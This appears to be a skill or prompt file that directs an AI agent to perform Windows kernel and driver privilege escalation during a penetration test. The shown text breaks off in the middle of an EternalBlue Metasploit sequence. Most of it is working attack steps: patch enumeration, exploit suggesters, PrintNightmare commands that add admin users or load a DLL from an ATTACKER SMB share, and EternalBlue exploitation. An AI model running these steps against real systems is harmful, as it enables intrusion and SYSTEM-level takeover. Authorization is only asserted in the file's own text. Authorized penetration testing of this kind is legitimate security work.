/windows-kernel-exploits

name: windows-kernel-exploits
description: >
  Exploit Windows kernel vulnerabilities, vulnerable drivers, and privileged
  file operations for local privilege escalation to SYSTEM.
keywords:
  - kernel exploit
  - exploit suggester
  - WES-NG
  - Watson
  - EternalBlue
  - PrintNightmare local
  - BYOVD
  - vulnerable driver
  - named pipe impersonation
  - leaked handle
  - missing patches
  - kernel privesc
  - CVE windows escalation
  - privileged file write
  - DiagHub
  - WerTrigger
tools:
  - WES-NG
  - Watson
  - Metasploit
  - SharpPrintNightmare
  - PrintSpoofer
  - loldrivers.io
opsec: medium

Windows Kernel Exploits & Privileged Operations

You are helping a penetration tester exploit kernel vulnerabilities, vulnerable drivers, and privileged file/pipe operations on a Windows system. All testing is under explicit written authorization.

**Warning:** Kernel exploits can crash the target system. Always warn before execution. Prefer reliable exploits and avoid experimental PoCs on production systems.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[windows-kernel-exploits] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Shell access on Windows (cmd.exe, PowerShell)
• `systeminfo` output (for exploit matching)
• Ability to transfer and execute binaries on target
• Some exploits require specific privileges (SeLoadDriverPrivilege for BYOVD)

Step 1: Assess — OS Version and Patch Level

Collect the information needed to match against known kernel CVEs.

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
ver
wmic os get Caption, Version, BuildNumber, OSArchitecture

Save `systeminfo` output for offline analysis:

systeminfo > C:\Windows\Temp\systeminfo.txt

**Key information to note:**

• OS name and version (e.g., Windows 10 Pro 1903)
• Build number (e.g., 18362)
• Architecture (x86 vs x64)
• Hotfix list and count
• Domain membership

**Check loaded drivers (for BYOVD):**

driverquery /v /fo table
driverquery /si

Step 2: Exploit Suggester

Use automated tools to match the target's patch level against known kernel CVEs.

WES-NG (Primary — Run on Attacker Machine)

# Update vulnerability database
python3 wes.py --update

# Analyze systeminfo output
python3 wes.py systeminfo.txt

# Filter for specific impact
python3 wes.py systeminfo.txt --impact "Elevation of Privilege"
python3 wes.py systeminfo.txt --exploits-only

Watson (On Target — .NET 2.0+)

Watson.exe

Watson checks for: CVE-2019-0836, CVE-2019-0841, CVE-2019-1064, CVE-2019-1130, CVE-2019-1253, CVE-2019-1315, CVE-2019-1385, CVE-2019-1388, CVE-2019-1405, CVE-2020-0668, CVE-2020-0683, CVE-2020-1013, and more.

Legacy windows-exploit-suggester

./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2024-01-01-mssb.xlsx --systeminfo systeminfo.txt

Triage Results

Prioritize by: 1. **Reliability** — exploits with public, stable PoCs 2. **Impact** — SYSTEM shell vs arbitrary write 3. **Crash risk** — avoid pool corruption exploits on production 4. **Architecture match** — x86 vs x64 binary must match target

Step 3: Named Kernel CVE Exploitation

PrintNightmare Local (CVE-2021-1675 / CVE-2021-34527)

Print Spooler RCE that also works for local privilege escalation. Loads a DLL as SYSTEM via the Print Spooler service.

**Affected:** Windows with Print Spooler running, pre-July 2021 patches.

**Check vulnerability:**

# Check if Print Spooler RPC is available
python3 rpcdump.py @TARGET | egrep 'MS-RPRN|MS-PAR'

:: Check Spooler service status
sc query Spooler

**Local privilege escalation (LPE):**

# SharpPrintNightmare — direct LPE
SharpPrintNightmare.exe C:\Windows\Temp\payload.dll

# Invoke-Nightmare (PowerShell) — adds local admin
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare  # Default: adds adm1n/P@ssw0rd
Invoke-Nightmare -NewUser "hacker" -NewPassword "Passw0rd!"
Invoke-Nightmare -DLL "C:\absolute\path\to\payload.dll"

# Mimikatz (v2.2.0+)
misc::printnightmare /server:localhost /library:C:\Windows\Temp\payload.dll

**Remote exploitation (requires SMB or WebDAV share):**

# Host payload DLL via Impacket SMB
python3 smbserver.py share /tmp/smb/

# Remote exploit
python3 CVE-2021-1675.py domain/user:Pass@TARGET '\\ATTACKER\share\payload.dll'

# SharpPrintNightmare remote
SharpPrintNightmare.exe '\\ATTACKER\share\payload.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_*\Amd64\UNIDRV.DLL' '\\TARGET'

**Error codes:** `0x5` = share permissions issue, `0x525` = account doesn't exist, `0x180` = use SMBv3 instead of v2.

MS17-010 EternalBlue (CVE-2017-0144)

**Affected:** Windows 7, 2008 R2, 2003, XP (pre-KB4013389). Remote SYSTEM RCE via SMB.

**Detection:**

nmap -Pn -p445 --script smb-vuln-ms17-010 TARGET
netexec smb TARGET -M ms17-010

**Exploitation:**

# Metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS TARGET
s